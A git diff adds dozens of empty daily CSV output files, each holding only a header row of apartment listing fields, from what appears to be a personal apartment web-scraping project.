+Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241016.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241016.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241016.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241017.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241017.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241017.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241018.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241018.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241018.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241019.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241019.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241019.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241020.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241020.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241020.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241021.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241021.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241021.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241022.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241022.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241022.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241023.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241023.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241023.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241024.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241024.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241024.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241025.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241025.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241025.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241026.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241026.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241026.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241027.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241027.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241027.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241028.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241028.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241028.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241029.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241029.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241029.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241030.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241030.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241030.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241031.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241031.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241031.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241101.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241101.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241101.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241102.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241102.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241102.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241103.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241103.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241103.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241104.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241104.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241104.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241105.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241105.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241105.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241106.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241106.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241106.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241107.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241107.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241107.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241108.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241108.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241108.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241109.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241109.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241109.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241110.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241110.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241110.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241111.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241111.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241111.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241112.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241112.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241112.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241113.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241113.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241113.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241114.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241114.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241114.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241115.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241115.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241115.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241116.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241116.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241116.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241117.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241117.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241117.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241118.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241118.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241118.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241119.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241119.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241119.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241120.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241120.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241120.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241121.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241121.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241121.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241122.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241122.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241122.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241123.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241123.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241123.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241124.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241124.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241124.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241125.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241125.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241125.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241126.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241126.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241126.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241127.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241127.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241127.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241128.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241128.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241128.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241129.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241129.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241129.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241130.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241130.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241130.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241201.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241201.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241201.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241202.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241202.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241202.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241203.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241203.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241203.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241204.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241204.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241204.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241205.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241205.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241205.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241206.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241206.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241206.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241207.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241207.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241207.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241208.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241208.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241208.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241209.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241209.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241209.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241210.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241210.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241210.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241211.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241211.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241211.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241212.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241212.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241212.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241213.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241213.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241213.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241214.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241214.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241214.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241215.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241215.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241215.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241216.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241216.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241216.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241217.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241217.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241217.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241218.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241218.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241218.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241219.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241219.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241219.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241220.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241220.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241220.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241221.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241221.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241221.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241222.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241222.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241222.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241223.csv b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241223.csv new file mode 100644 index 00000000000..a2378e4fde4 --- /dev/null +++ b/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241223.csv @@ -0,0 +1 @@ +Date,Apt,Floor_plan,Beds/Baths,Rent,Deposit,Sq.Ft,Limited_Time_Offer,Available diff --git a/_posts/00CodeNote/project/webscrap_apt/apt_output/apt_20241224.csv 